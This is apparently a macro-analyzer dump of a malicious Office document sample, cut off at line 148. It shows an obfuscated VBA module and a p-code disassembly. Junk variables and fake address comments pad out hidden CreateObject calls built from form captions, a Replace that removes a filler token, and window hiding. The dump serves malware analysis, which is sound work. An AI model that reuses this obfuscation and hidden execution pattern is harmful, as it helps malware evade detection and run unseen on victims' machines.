''' Walkowiak, Graczyk and Tkaczyk Apt. 412 Southwest Skóra - Strzelczyk Suite 526 South
''' Muszynski and Sons Apt. 063 East Dubiel - Walczak Apt. 442 Southeast
Maomaoedzan = Oct("Wintheiser, Rau and HarrisSuite 291Southeast")
Cnsvahnp = "hdns" '
   Xsinhvse = Rnd("Rogahn GroupSuite 760Southeast")
Krfxbknssixv = Sin("Shirt")
Sglpxcmeolpht = Round(169)
''' Pajak and Sons Apt. 709 Northeast Milczarek Group Apt. 202 North
Wrixqwgjhdhj = Cos(423)
''' Kaczor, Janus and Grabowski Suite 781 Southeast Zdunek - Górka Apt. 938 West
Igcujvbjch = Round(563)
Fdthtqxyw = Xhclwelqtbt
''' Kepa, Wilczek and Andrzejczak Apt. 526 Southwest Kus, Rucinski and Kaminski Suite 398 West
Nnkutmoba = CStr(293)
Dqajrlmorse = Cos(925)
Jefqregmx = CByte(382)
''' Dziuba Inc Apt. 470 West Brzezinski LLC Apt. 110 Northeast
''' Ostrowski and Sons Suite 370 Northeast Szyszka, Kowalczyk and Lasota Apt. 653 West
Gfcejcnxzlig = Fix("221.88.239.203")
''' Godlewski - Rybicki Apt. 901 Southwest Kubica, Dudzik and Zietek Suite 726 Southeast
''' Skalski, Molenda and Wierzbicki Apt. 414 East Kostrzewa - Murawski Suite 443 Southeast
Yhpenmib = Fix("Conn GroupApt. 500Northwest")
   Khltjqrhzvumb = Fix("Hat")
Hdczdhownh = Int("Investor713 Arturo Village, Monahanmouth, Mozambique")
Wlvbtmbbpkhli = CLng(719)
''' Zielinski - Kasprzak Apt. 362 North Kania - Wesolowski Suite 201 Southeast
Shqoeddqqc = CInt(275)
''' Sliwinski, Szydlowski and Skoczylas Suite 386 Southwest Kosowski, Rybak and Klimek Suite 066 Southwest
Qvkymorv = Tan(351)
Ubzaluww = Lywpwsqvsvf
''' Kaczor and Sons Suite 313 Southeast Brzozowski, Grzesik and Wasilewski Suite 527 East
Llfelvwq = Atn(387)
Onppdsittlz = Int(60)
Yvbtyvcazuyo = Round(918)
''' Piechota - Nowacki Apt. 217 East Guzik - Majchrzak Suite 532 Southwest
''' Wozniak - Stachowicz Suite 057 West Przybylski, Rybak and Koper Apt. 884 Northeast
Qkbuaokic = Fix("Fish")
''' Michalski, Augustyniak and Adamczak Suite 815 West Wasilewski, Szwarc and Dziedzic Apt. 708 Northeast
''' Lipski - Grochowski Apt. 891 Northeast Kubiak - Kmiecik Apt. 640 North
Mdkblodu = Oct("Jerde GroupSuite 350Southwest")
Skevjurzpdtms = Replace(Wpkvtmll, Cnsvahnp, "")
   Lhrlokat = Hex("Forward76910 Mayert Pass, Bradfordburgh, Sao Tome and Principe")
Wxugbhlzckka = Round("Shirt")
Mvxdaifec = Int(186)
''' Sosnowski, Furman and Zak Suite 069 Northeast Szewczyk, Miskiewicz and Matuszewski Suite 931 South
Itwdktobe = Rnd(747)
''' Zalewski and Sons Suite 608 East Rzepka Inc Apt. 247 North
Uhzsuvghr = Fix(966)
Jytnxsbmsu = Toovsqvz
''' Lapinski - Szczepaniak Suite 958 South Dudzinski - Chudzik Suite 904 Southwest
Gbpeinjxvnuv = Sqr(119)
Kwwwartlehfdf = CLng(471)
Qvmxnsrxtjn = Hex(477)
''' Kolodziejczyk, Graczyk and Chudzik Suite 201 East Sosnowski - Wilczynski Suite 243 Southeast
''' Dec - Adamek Suite 236 North Banasik LLC Suite 111 South
Ybgyerkvuzzy = Sin("Cole - CassinApt. 553North")
''' Malinowski Group Apt. 631 Southwest Rucinski, Kasprzak and Stelmach Suite 436 Northwest
''' Malecki, Wlodarczyk and Kulik Apt. 606 North Grudzien - Milewski Apt. 045 Northeast
Xiyehjjesixw = Atn("Central714 Metz Locks, Mauriciohaven, Cote d'Ivoire")
   Ndbxgsmigg = CInt("Mouse")
Naemorwtemv = CBool("Cummerata - JacobiSuite 846North")
Pzahhtvt = Tan(404)
''' Ptak - Prokop Apt. 100 North Mikulski, Adamowicz and Stepien Apt. 678 East
Zesvfkwct = Oct(502)
''' Muszynski - Glogowski Suite 797 Northwest Szczesna - Wilk Apt. 579 East
Ezdpkvdagaip = CInt(507)
Slbynuwdufh = Qjhjbnklzwrwy
''' Wlodarczyk - Panek Suite 664 Southwest Orlowski - Bednarz Apt. 799 Northeast
Cfrpxfmyvegd = Sgn(985)
Fyiozmry = Round(748)
Ckftojcod = Round(374)
''' Wojtczak, Pietrzak and Szydlowski Apt. 887 Southwest Lesniewski - Grochowski Apt. 828 North
''' Siwek - Puchalski Apt. 856 North Lech - Czajka Suite 687 Southwest
Ooryqdkm = CStr("Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.0; Trident/3.0; .NET CLR 2.2.67057.1)")
''' Nawrocki - Pawlowski Apt. 095 East Bober, Dziedzic and Gawron Apt. 753 East
''' Golec, Falkowski and Góra Apt. 830 Northwest Kaleta, Przybylski and Wolinski Apt. 673 Southeast
Kpktyjhyeaep = Oct("109.44.231.224")
End Function

Attribute VB_Name = "Nypzmstl"

' Processing file: /opt/analyzer/scan_staging/7a0632aaaf834ca2aa450439cfc36fd3.bin
' ===============================================================================
' Module streams:
' Macros/VBA/Dbwfqrcghd - 1900 bytes
' Macros/VBA/Avkkumqblc - 21346 bytes
' Line #0:
' 	FuncDefn (Function Avkkumqblc(Frank))
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	LitStr 0x0048 "Mozilla/5.0 (Windows NT 5.0; Win64; rv:7.6) Gecko/20100101 Firefox/7.6.0"
' 	ArgsLd Pdzygumpqipgt 0x0001 
' 	St FrankA 
' Line #3:
' 	LitStr 0x0003 "Hat"
' 	ArgsLd Pdzygumpqipgt 0x0001 
' 	St Rnd 
' Line #4:
' 	LitDI2 0x02DC 
' 	Coerce (Lng) 
' 	St Jkhsdwqxjx 
' Line #5:
' 	QuoteRem 0x0000 0x0056 "'' Dabkowski - Galka Suite 080 Northeast Piasecki, Kruk and Nowicki Apt. 209 Southeast"
' Line #6:
' 	LitDI2 0x0013 
' 	FnInt 
' 	St Dlnuyfpxju 
' Line #7:
' 	QuoteRem 0x0000 0x003E "'' Zablocki LLC Apt. 915 Northeast Rózycki Inc Suite 188 South"
' Line #8:
' 	LitDI2 0x025F 
' 	Coerce (Int) 
' 	St Bzpjtosq 
' Line #9:
' 	Ld Jddnrbeczp 
' 	St Fffczayfqb 
' Line #10:
' 	QuoteRem 0x0000 0x004A "'' Sochacki - Owczarek Apt. 127 Northeast Wasiak - Glab Apt. 548 Southwest"
' Line #11:
' 	LitDI2 0x0199 
' 	Coerce (Dbl) 
' 	St Qeggevel 
' Line #12:
' 	LitDI2 0x012F 
' 	ArgsLd Ggwrmtjpgb 0x0001 
' 	St Ghpvfoyedkzq 
' Line #13:
' 	LitDI2 0x0021 
' 	Coerce (Bool) 
' 	St Log 
' Line #14:
' 	QuoteRem 0x0000 0x005C "'' Zielinski - Stelmach Suite 105 North Kaminski, Zablocki and Budzynski Suite 768 Northeast"
' Line #15:
' 	QuoteRem 0x0000 0x004A "'' Zielonka - Królikowski Apt. 468 East Szydlowski Inc Suite 106 Southwest"
' Line #16:
' 	LitStr 0x001D "Howell GroupApt. 015Southwest"
' 	Coerce (Int) 
' 	St Trbvwsxpwvyv 
' Line #17:
' 	QuoteRem 0x0000 0x003F "'' Górecki Inc Apt. 204 East Rudzki - Szczesniak Apt. 676 South"
' Line #18:
' 	QuoteRem 0x0000 0x0052 "'' Staszewski - Dec Suite 340 South Klimczak, Cholewa and Filipiak Suite 152 South"
' Line #19:
' 	LitStr 0x000D "77.227.28.161"
' 	Coerce (Byte) 
' 	St Evlpezouayy 
' Line #20:
' 	SetStmt 
' 	Ld Frank 
' 	ArgsLd CreateObject 0x0001 
' 	ArgsLd CreateObject 0x0001 
' 	ArgsLd Tkrbojkvgdinh 0x0001 
' 	Set Avkkumqblc 
' Line #21:
' 	LitStr 0x0019 "Hansen GroupApt. 024South"
' 	ArgsLd Gxirqyirstz 0x0001 
' 	St Skevjurzpdtms 
' Line #22:
' 	LitStr 0x000C "79.47.197.43"
' 	Coerce (Sng) 
' 	St Cos 
' Line #23:
' 	LitDI2 0x03C9 
' 	ArgsLd Pdzygumpqipgt 0x0001 
' 	St Gxmaouqqlb 
' Line #24:
' 	QuoteRem 0x0000 0x003A "'' Panek LLC Apt. 732 Northeast Urban Group Suite 543 East"
' Line #25:
' 	LitDI2 0x007D 
' 	ArgsLd Jrroaacu 0x0001 
' 	St Mlwoougezeg 
' Line #26:
' 	QuoteRem 0x0000 0x0055 "'' Krukowski, Jurkowski and Zaremba Apt. 581 Southwest Wrona Group Apt. 741 Northeast"
' Line #27:
' 	LitDI2 0x03DF 
' 	ArgsLd Unhbocyuvv 0x0001 
' 	St Sin 
' Line #28:
' 	Ld Mmdeysoj 
' 	St Oct 
' Line #29:
' 	QuoteRem 0x0000 0x0053 "'' Majka Inc Apt. 864 Southeast Filipek, Michalowski and Janusz Suite 487 Southwest"
' Line #30:
' 	LitDI2 0x0247 
' 	FnFix 
' 	St Cwfdzblbktwa 
' Line #31:
' 	LitDI2 0x007B 
' 	ArgsLd Pdzygumpqipgt 0x0001 
' 	St Gtrbajko 
' Line #32:
' 	LitDI2 0x0221 
' 	Coerce (Bool) 
' 	St Eelwckggi 
' Line #33:
' 	QuoteRem 0x0000 0x0053 "'' Siwek, Jarosz and Janiszewski Apt. 683 Northeast Koziol - Jarzabek Apt. 546 East"
' Line #34:
' 	QuoteRem 0x0000 0x0046 "'' Zietek - Jakubiak Apt. 978 North Kalinowski and Sons Suite 370 East"
' Line #35:
' 	LitStr 0x000E "244.250.68.232"
' 	FnSgn 
' 	St Lwlcxjuklh 
' Line #36:
' 	QuoteRem 0x0000 0x0050 "'' Swiatek LLC Suite 388 South Kaniewski, Bednarz and Bogusz Suite 661 Northwest"
' Line #37:
' 	QuoteRem 0x0000 0x003B "'' Wasik Group Apt. 970 West Zurek and Sons Suite 419 South"
' Line #38:
' 	LitStr 0x0006 "Towels"
' 	ArgsLd Vqpzanprzpvwg 0x0001 
' 	St Cxfamjthow 
' Line #39:
' 	EndFunc 
' Line #40:
' 	FuncDefn (Function Hex())
' Line #41:
' 	OnError (Resume Next) 
' Line #42:
' 	LitStr 0x0005 "Bacon"
' 	Coerce (Sng) 
' 	St Xpjfjievxnn 
' Line #43:
' 	LitStr 0x001F "Lakin and SonsApt. 822Northeast"
' 	Coerce (Int) 
' 	St Tfzrgtvhzvjn 
' Line #44:
' 	LitDI2 0x0023 
' 	ArgsLd Gpkwbzyk 0x0001 
' 	St Swhqltobmagb 
' Line #45:
' 	QuoteRem 0x0000 0x003A "'' Bujak LLC Suite 895 East Gawron LLC Suite 755 Northwest"
' Line #46:
' 	LitDI2 0x03C0 
' 	Coerce (Lng) 
' 	St Tan 
' Line #47:
' 	QuoteRem 0x0000 0x0041 "'' Gasiorowski Inc Suite 172 East Konopka - Ciesla Suite 473 East"
' Line #48:
' 	LitDI2 0x0381 
' 	ArgsLd Unhbocyuvv 0x0001 
' 	St Dcbgplhie 
' Line #49:
' 	Ld Bjlnmzuhqami 
' 	St Xxqokfsszlf 
' Line #50:
' 	QuoteRem 0x0000 0x0049 "'' Rogowski LLC Suite 138 West Stachowiak - Laskowski Suite 136 Northwest"
' Line #51:
' 	LitDI2 0x03DF 
' 	Coerce (Dbl) 
' 	St Lasxxsnis 
' Line #52:
' 	LitDI2 0x0013 
' 	ArgsLd Vqpzanprzpvwg 0x0001 
' 	St Qugsgvysg 
' Line #53:
' 	LitDI2 0x03E3 
' 	FnInt 
' 	St Zuvfwfhwe 
' Line #54:
' 	QuoteRem 0x0000 0x0051 "'' Ptak - Konopka Apt. 112 South Jedrzejczak, Cichy and Kulik Suite 662 Southeast"
' Line #55:
' 	QuoteRem 0x0000 0x0049 "'' Mroczkowski - Bilski Apt. 958 West Krawiec - Kaluza Apt. 503 Northwest"
' Line #56:
' 	LitStr 0x003D "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko"
' 	ArgsLd Npjenplc 0x0001 
' 	St Xgrgnhrgsrsg 
' Line #57:
' 	QuoteRem 0x0000 0x0041 "'' Krawiec - Strzelczyk Apt. 209 West Serafin Group Apt. 366 East"
' Line #58:
' 	QuoteRem 0x0000 0x003D "'' Zagórski LLC Suite 664 East Rózycki - Kepa Suite 803 South"
' Line #59:
' 	LitStr 0x002E "Human3959 Stehr Extensions, Daishahaven, Nauru"
' 	ArgsLd Vqpzanprzpvwg 0x0001 
' 	St Round 
' Line #60:
' 	LitStr 0x0046 "Forward48629 O'Keefe Key, Lake Amari, Lao People's Democratic Republic"
' 	ArgsLd Pdzygumpqipgt 0x0001 
' 	St Ycrvibvp 
' Line #61:
' 	LitStr 0x0026 "Muller, Kutch and MaggioSuite 943South"
' 	FnInt 
' 	St Seveepfrywh 
' Line #62:
' 	LitDI2 0x0154 
' 	Coerce (Byte) 
' 	St Xodzxrrnifhx 
' Line #63:
' 	QuoteRem 0x0000 0x0056 "'' Socha, Kisiel and Jankowski Suite 963 Northwest Szyszka - Grzyb Suite 500 Southeast"
' Line #64:
' 	LitDI2 0x0131 
' 	Coerce (Lng) 
' 	St Mtpcxuhaamy 
' Line #65:
' 	QuoteRem 0x0000 0x0041 "'' Bogucki LLC Apt. 507 Southwest Stolarski - Lach Suite 161 West"
' Line #66:
' 	LitDI2 0x013F 
' 	Coerce (Dbl) 
' 	St Vxwwujjmi 
' Line #67:
' 	Ld Jukqnxorahmwq 
' 	St Bqpajyngfb 
' Line #68:
' 	QuoteRem 0x0000 0x0051 "'' Kucharczyk - Mroczek Apt. 332 South Chojnowski - Bielawski Suite 259 Northwest"
' Line #69:
' 	LitDI2 0x0256 
' 	Coerce (Int) 
' 	St Mnoadzgahf 
' Line #70:
' 	LitDI2 0x0168 
' 	Coerce (Byte) 
' 	St Cysjdcynckt 
' Line #71:
' 	LitDI2 0x0153 
' 	ArgsLd Unhbocyuvv 0x0001 
' 	St Udhtdtjypbs 
' Line #72:
' 	QuoteRem 0x0000 0x0050 "'' Zukowski - Podgórski Suite 792 Northwest Konieczna - Gawel Apt. 174 Southwest"
' Line #73:
' 	QuoteRem 0x0000 0x0056 "'' Suski, Blaszczyk and Dominiak Suite 738 Southeast Wolny and Sons Apt. 960 Southeast"
' Line #74:
' 	LitStr 0x0071 "Mozilla/5.0 (Windows; U; Windows NT 6.2) AppleWebKit/532.2.1 (KHTML, like Gecko) Chrome/14.0.802.0 Safari/532.2.1"
' 	FnFix 
' 	St Pyctclgg 
' Line #75:
' 	QuoteRem 0x0000 0x005B "'' Dubiel, Dlugosz and Wójcik Apt. 652 Southeast Zyla, Czarnecki and Dlugosz Apt. 560 North"
' Line #76:
' 	QuoteRem 0x0000 0x0043 "'' Kubiak - Suski Apt. 668 East Bochenek - Skrzypek Suite 571 South"
' Line #77:
' 	LitStr 0x001D "Kilback - LeannonApt. 813East"
' 	Coerce (Dbl) 
' 	St Ixjtrxgbusli 
' Line #78:
' 	Ld _B_var_XyqgxqfdjzziAljxmakme 
' 	MemLd _B_var_Zofflvklb 
' 	MemLd Caption 
' 	ArgsLd CreateObject 0x0001 
' 	ArgsLd CreateObject 0x0001 
' 	St Gdlxsmxascmal 
' Line #79:
' 	LitStr 0x001E "Champlin and SonsSuite 442West"
' 	ArgsLd Unhbocyuvv 0x0001 
' 	St Yogjidgfnv 
' Line #80:
' 	LitStr 0x002A "Chief37859 Hauck Road, New Eriktown, Nauru"
' 	Coerce (Dbl) 
' 	St Rfbldwgq 
' Line #81:
' 	LitDI2 0x037B 
' 	ArgsLd Gxirqyirstz 0x0001 
' 	St Uuuectrqv 
' Line #82:
' 	QuoteRem 0x0000 0x004E "'' Olejnik and Sons Apt. 615 Southwest Blaszczak - Kowalik Suite 603 Southeast"
' Line #83:
' 	LitDI2 0x0040 
' 	FnFix 
' 	St Kctqwbzoqmduq 
' Line #84:
' 	QuoteRem 0x0000 0x0067 "'' Wojciechowski, Gajda and Pietruszka Apt. 755 North Ciesla, Marciniak and Kurowski Apt. 120 Southwest"
' Line #85:
' 	LitDI2 0x0188 
' 	Coerce (Str) 
' 	St Iuiahrqxhx 
' Line #86:
' 	Ld Iuraevtk 
' 	St Tbgoruehchvgv 
' Line #87:
' 	QuoteRem 0x0000 0x0053 "'' Sliwa, Kaczmarek and Bieniek Apt. 298 West Gawronski - Broda Suite 579 Southeast"
' Line #88:
' 	LitDI2 0x00D6 
' 	ArgsLd Unhbocyuvv 0x0001 
' 	St Vsgtemtdb 
' Line #89:
' 	LitDI2 0x01A5 
' 	ArgsLd Gxirqyirstz 0x0001 
' 	St Jxlzlbgaybe 
' Line #90:
' 	LitDI2 0x0372 
' 	Coerce (Bool) 
' 	St Icqxneaqigv 
' Line #91:
' 	QuoteRem 0x0000 0x005A "'' Marciniak, Kulik and Gutowski Suite 179 Northwest Zebrowski and Sons Apt. 917 Northwest"
' Line #92:
' 	QuoteRem 0x0000 0x0047 "'' Karczewski LLC Suite 497 East Zaborowski and Sons Apt. 257 Northeast"
' Line #93:
' 	LitStr 0x000E "227.104.24.154"
' 	Coerce (Bool) 
' 	St Nxvbducoyxfas 
' Line #94:
' 	QuoteRem 0x0000 0x004F "'' Kucharczyk - Skrzypek Suite 638 Northeast Sosnowski and Sons Suite 495 North"
' Line #95:
' 	QuoteRem 0x0000 0x0053 "'' Wolinski - Kucinski Apt. 392 Northeast Chmiel, Janus and Dabkowski Apt. 834 East"
' Line #96:
' 	LitStr 0x0027 "Gerlach, Rohan and HermannApt. 383North"
' 	ArgsLd Gxirqyirstz 0x0001 
' 	St Kygqsqlcww 
' Line #97:
' 	SetStmt 
' 	Ld _B_var_XyqgxqfdjzziAljxmakme 
' 	MemLd Mwvhinnqo 
' 	MemLd Caption 
' 	ArgsLd Avkkumqblc 0x0001 
' 	Set Ewaqpxnojfwyk 
' Line #98:
' 	LitStr 0x000E "157.255.64.240"
' 	Coerce (Int) 
' 	St Wzcppcvqerer 
' Line #99:
' 	LitStr 0x000D "88.144.69.111"
' 	ArgsLd Npjenplc 0x0001 
' 	St Zkwrweoxpee 
' Line #100:
' 	LitDI2 0x01E4 
' 	Coerce (Int) 
' 	St Pixkamkn 
' Line #101:
' 	QuoteRem 0x0000 0x0068 "'' Blaszczak, Mazur and Klimczak Apt. 074 Southwest Pilarski, Piekarski and Stelmach Suite 232 Northwest"
' Line #102:
' 	LitDI2 0x00BB 
' 	ArgsLd Pdzygumpqipgt 0x0001 
' 	St Tdqjfjqgqj 
' Line #103:
' 	QuoteRem 0x0000 0x004A "'' Czekaj - Konieczna Apt. 421 Southeast Broda - Plonka Apt. 237 Northwest"
' Line #104:
' 	LitDI2 0x00A0 
' 	Coerce (Bool) 
' 	St Wwirpmcy 
' Line #105:
' 	Ld Ofuinzyo 
' 	St Bekyrunnkbi 
' Line #106:
' 	QuoteRem 0x0000 0x0057 "'' Wesolowski - Bednarczyk Suite 187 Southwest Frackowiak - Misztal Suite 930 Southeast"
' Line #107:
' 	LitDI2 0x009E 
' 	FnSgn 
' 	St Olbcjwxls 
' Line #108:
' 	LitDI2 0x0363 
' 	ArgsLd Pdzygumpqipgt 0x0001 
' 	St Bmzhrwtcz 
' Line #109:
' 	LitDI2 0x012B 
' 	Coerce (Bool) 
' 	St Wtulueozdzdx 
' Line #110:
' 	QuoteRem 0x0000 0x0041 "'' Dudek Inc Apt. 876 South Jedrzejewski and Sons Suite 774 South"
' Line #111:
' 	QuoteRem 0x0000 0x004B "'' Budzynski, Góra and Kozak Apt. 544 West Polak - Janowski Suite 192 North"
' Line #112:
' 	LitStr 0x001A "Pouros - WalshApt. 763East"
' 	ArgsLd Gpkwbzyk 0x0001 
' 	St Qsdqnppsxm 
' Line #113:
' 	QuoteRem 0x0000 0x0054 "'' Domagala, Czerniak and Kita Apt. 862 Northwest Wasiak - Kucharczyk Apt. 177 South"
' Line #114:
' 	QuoteRem 0x0000 0x0057 "'' Szewczyk Inc Suite 456 Northeast Kolodziejczyk, Cichy and Kalisz Suite 032 Northeast"
' Line #115:
' 	LitStr 0x0016 "Lesch LLCApt. 780South"
' 	Coerce (Byte) 
' 	St Bwcflymuphiy 
' Line #116:
' 	LitR8 0x0000 0x0000 0xC000 0x405E 
' 	LitR8 0x0000 0x0000 0xC000 0x405E 
' 	Sub 
' 	Ld Ewaqpxnojfwyk 
' 	MemSt Xtegyocvbepm 
' Line #117:
' 	LitStr 0x0056 "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.3; Trident/5.1; .NET CLR 1.7.27012.5)"
' 	ArgsLd Gxirqyirstz 0x0001 
' 	St ShowWindow 
' Line #118:
' 	LitStr 0x0033 "International47151 Roob Estates, Gideonland, Angola"
' 	Coerce (Lng) 
' 	St Wtjyyeccpowk 
' Line #119:
' 	LitDI2 0x007E 
' 	FnFix 
' 	St Oahkiamoqu 
' Line #120:
' 	QuoteRem 0x0000 0x004F "'' Michalowski, Janusz and Wypych Apt. 251 Northeast Nowicki Inc Apt. 295 South"
' Line #121:
' 	LitDI2 0x019B 
' 	ArgsLd Gxirqyirstz 0x0001 
' 	St Lygcqrce 
' Line #122:
' 	QuoteRem 0x0000 0x0042 "'' Blaszczak Inc Apt. 464 Southeast Kwiecien - Mróz Suite 044 East"
' Line #123:
' 	LitDI2 0x025B 
' 	Coerce (Lng) 
' 	St Cbisqxcsgt 
' Line #124:
' 	Ld Evmyehhweygb 
' 	St Eubkwfhhcpf 
' Line #125:
' 	QuoteRem 0x0000 0x0052 "'' Jackowski - Gawronski Apt. 366 Northeast Tomaszewski - Malinowski Apt. 451 East"
' Line #126:
' 	LitDI2 0x005C 
' 	Coerce (Int) 
' 	St Pmynzjvtmb 
' Line #127:
' 	LitDI2 0x004D 
' 	Coerce (Int) 
' 	St Xxihmwnzmbqt 
' Line #128:
' 	LitDI2 0x0024 
' 	ArgsLd Unhbocyuvv 0x0001 
' 	St Muavvjhvrv 
' Line #129:
' 	QuoteRem 0x0000 0x0051 "'' Kaszuba, Wójcicki and Jasinski Apt. 149 Southeast Trzeciak LLC Suite 165 North"
' Line #130:
' 	QuoteRem 0x0000 0x0052 "'' Tomaszewski, Andrzejczak and Rogalski Apt. 944 West Michalski Inc Apt. 393 West"
' Line #131:
' 	LitStr 0x000C "209.27.53.72"
' 	ArgsLd Nwljnqxove 0x0001 
' 	St Glxljksk 
' Line #132:
' 	QuoteRem 0x0000 0x0049 "'' Piotrowicz LLC Apt. 037 South Górniak - Szczepanik Suite 622 Southwest"
' Line #133:
' 	QuoteRem 0x0000 0x0062 "'' Paluch, Rosa and Ciesla Apt. 735 Southeast Chojnowski, Wrona and Tomaszewski Apt. 784 Northeast"
' Line #134:
' 	LitStr 0x0046 "Mozilla/5.0 (X11; Linux x86_64; rv:14.2) Gecko/20100101 Firefox/14.2.8"
' 	Coerce (Sng) 
' 	St Atn 
' Line #135:
' 	LitStr 0x000F "183.147.246.180"
' 	Coerce (Sng) 
' 	St Xbtqgwnbgn 
' Line #136:
' 	LitStr 0x0003 "Car"
' 	Coerce (Sng) 
' 	St Vzfamqgywi 
' Line #137:
' 	LitDI2 0x0117 
' 	ArgsLd Npjenplc 0x0001 
' 	St Pzytvngxerucx 
' Line #138:
' 	QuoteRem 0x0000 0x003D "'' Zablocki Group Suite 842 West Sitek - Mróz Suite 873 North"
' Line #139:
' 	LitDI2 0x00BF 
' 	ArgsLd Vqpzanprzpvwg 0x0001 
' 	St Yovdglrjv 
' Line #140:
' 	QuoteRem 0x0000 0x0049 "'' Ratajczak - Hajduk Apt. 833 North Kasprzak - Janik Suite 324 Southwest"
' Line #141:
' 	LitDI2 0x0196 
' 	ArgsLd Pedfdchiijbeh 0x0001 
' 	St Utcsmtnhtwxow 
' Line #142:
' 	Ld Qdgxtmvlfappl 
' 	St Sqr 
' Line #143:
' 	QuoteRem 0x0000 0x0059 "'' Bednarczyk - Grzesiak Apt. 008 East Bednarek, Kowalski and Nowacki Suite 273 Northeast"
' Line #144:
' 	LitDI2 0x0324 
' 	Coerce (Dbl) 
' 	St Zzpjwmfq 
' Line #145:
' 	LitDI2 0x011A 
' 	FnInt 
' 	St Mkujlofvvfuiz 
' Line #146:
' 	LitDI2 0x01A4 
' 	ArgsLd Unhbocyuvv 0x0001 
' 	St Utxeonwxhk 
' Line #147:
' 	QuoteRem 0x0000 0x005E "'' Wojciechowski, Borek and Pakula Apt. 666 Southwest Lipinski - Frackowiak Apt. 012 Northwest"
' Line #148:
…